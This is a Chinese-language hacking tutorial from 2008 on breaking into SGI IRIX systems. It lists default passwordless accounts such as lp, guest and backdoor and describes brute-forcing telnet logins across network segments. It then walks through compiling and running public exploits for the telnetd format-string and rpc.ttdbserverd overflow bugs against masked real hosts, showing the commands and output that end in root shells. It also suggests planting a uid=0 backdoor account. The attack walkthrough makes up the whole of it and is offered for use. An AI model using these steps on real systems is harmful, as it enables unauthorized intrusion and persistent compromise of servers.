IRIX的几种常见入侵方式

来源:岁月联盟 编辑:zhu 时间:2008-02-17
IRIX的几种常见入侵方式内容简介:【IRIX教程】 IRIX是SGI推出的应用于服务器和高端工作站的一种操作系统,不过SGI虽然在高端图形工作站上面有一手,但在服务器上面就有点……总的来说,SGI在商用服务器上面想用IRIXMIPS系列来对付SUN的SolarisSparc是

  【IRIX教程】IRIX是SGI推出的应用于服务器和高端工作站的一种操作系统,不过SGI虽然在高端图形工作站上面有一手,但在服务器上面就有点……总的来说,SGI在商用服务器上面想用IRIX&MIPS系列来对付SUN的Solaris&Sparc是不行的,哈哈~~不过,使用IRIX作为服务器的地方还是有很多。而且IRIX从开发到至今,一直都有很多致命的死穴。死穴者,一招毙命也……哈哈哈!好了,好了,言归正传。下面该说说怎么入侵IRIX了。

  由于IRIX在业界的地位比较高,所以在世界上有很多网站使用她的系统……

  首先,必须找到一台带有cc或者gcc的IRIX机器。IPIX的有些版本在缺省配置时有许多漏洞,下列账号在telnet时不需要口令:
  lp
  guest
  4Dgifts
  demos
  jack
  jill
  backdoor
  tutor
  tour

  你可以在工作站上面编写一个shell script。通过telnet猜测一个网段,把上面的名称做成用户名。再nohup &后台执行。运气好的话,一天过后,来到你的工作站上面看一看ohup.out,保证有你想要的东东。拿到一台有gcc的机器后(我就拿到一台IRIX6.5的机器,用户名:lp密码:空。哈哈!)。你就可以去找找远程溢出的c源程序了。我在hack.co.za找到两个比较有效的程序。

  死穴之一,IRIX telnetd 远程格式化串漏洞

  这个漏洞在NSFOCUS的描述是:IRIX telnetd 在收到IAC-SB-TELOPT_ENVIRON请求后会设置_RLT环境变量,当调用syslog()和sprintf()函数的时候,错误的将用户输入的数据作为了格式化串的内容。这导致远程用户可以任意覆盖进程空间的内容,通过修改GOT入口参数等方法,攻击者可以远程获得root权限。

  以下代码在我的IRIX6.5上成功编译。
  以下代码可以在中华黑盟:http://hlc.cnroot.com/下载,测试程序:

  首先,rsh到我的跳板。得到shell
  # <---修改uid得到的root shell
  把文件想办法传上跳板,假设文件是telnetd.c。你可以用vi复制粘贴上去,也可以rcp上去,甚至ftp也行……再用gcc进行编译
  #gcc -o telnetd telnetd.c <---pass!可以试试效果了。
  假如你找到了没有空密码弱点的机器,可能就能有这个漏洞拿到一个uid=0的shell #./telnetd xxx.xxx.xxx.xxx <--假设入侵的是xxx.xxx.xxx.xxx这个网站
  copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/
  telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all

  .
  IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches

  IRIX ns2 6.5 01200533 IP32

  哈哈~~看来拿到shell了。看看id……
  id
  uid=0(root) gid=0(sys)

  嘻嘻嘻……不好意思,root啦!线在你可以自己加个uid=0的账号啦!

  
  死穴之二,IRIX rpc.ttdbserverd 远程缓冲区溢出漏洞这个漏洞我在NSFOCUS和CNNS都没有找到相关的描述信息。不过在hack.co.za有这个程序

  的代码,代码也可以在中华黑盟:http://hlc.cnroot.com/进行下载。

  ok,弄到这个代码后就得进行编译,怎么编译上面我已经说明白了,在这里我不再重复。你可以先用rpcinfo看看目标有没有开启ttdbserverd这项服务。下面看看一台机器的结果:
  #rpcinfo -p xxx.xxx.xxx.xxx <-由于是国内的,所以马赛克处理。我可不想坐牢^__^
  program vers proto port
  100000 2 tcp 111 portmapper
  100000 2 udp 111 portmapper
  100003 2 udp 2049 nfs
  100003 3 udp 2049 nfs
  100003 2 tcp 2049 nfs
  100003 3 tcp 2049 nfs
  100024 1 udp 789 status
  100024 1 tcp 791 status
  100099 1 udp 2048 autofsd
  100021 1 udp 2049 nlockmgr
  100021 3 udp 2049 nlockmgr
  100021 4 udp 2049 nlockmgr
  100021 1 tcp 2049 nlockmgr
  100021 3 tcp 2049 nlockmgr
  100021 4 tcp 2049 nlockmgr
  100005 1 tcp 1024 mountd
  100005 3 tcp 1024 mountd
  100005 1 udp 1025 mountd
  100005 3 udp 1025 mountd
  391004 1 tcp 1025 sgi_mountd
  391004 1 udp 1026 sgi_mountd
  100001 1 udp 1027 rstatd
  100001 2 udp 1027 rstatd
  100001 3 udp 1027 rstatd
  100008 1 udp 1028 walld
  100002 1 udp 1029 rusersd
  100011 1 udp 1030 rquotad
  100012 1 udp 1031 sprayd
  391002 1 tcp 1026 sgi_fam
  391009 1 tcp 1027 sgi_pod
  391029 1 tcp 1028 sgi_espd
  391017 1 tcp 818 sgi_mediad
  100083 1 udp 956 ttdbserverd
  100083 1 tcp 958 ttdbserverd

  上面这台机器开启的rpc服务还是蛮多的嘛,不过有用的可以整理出来,
  100083 1 udp 956 ttdbserverd
  100083 1 tcp 958 ttdbserverd

  嗯,用上面编译的程序试试看……
  #./ttdb xxx.xxx.xxx.xxx
  copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/
  rpc.ttdbserverd for irix 5.2 5.3 6.2 6.3 6.4 6.5 6.5.2

  IP:17,19-22,25-28,30,32

  adr=0x7fff4fec timeout=10 port=776 connected! sent!
  IRIX game 6.3 12161207 IP32
  id
  uid=0(root) gid=0(sys)

  看来轻易入侵,而且也是root shell哦!总的来说ttdb还是没有telnetd漏洞轻易成功。一般用telnetd漏洞就能轻易成功入侵一大片的IRIX。

图片内容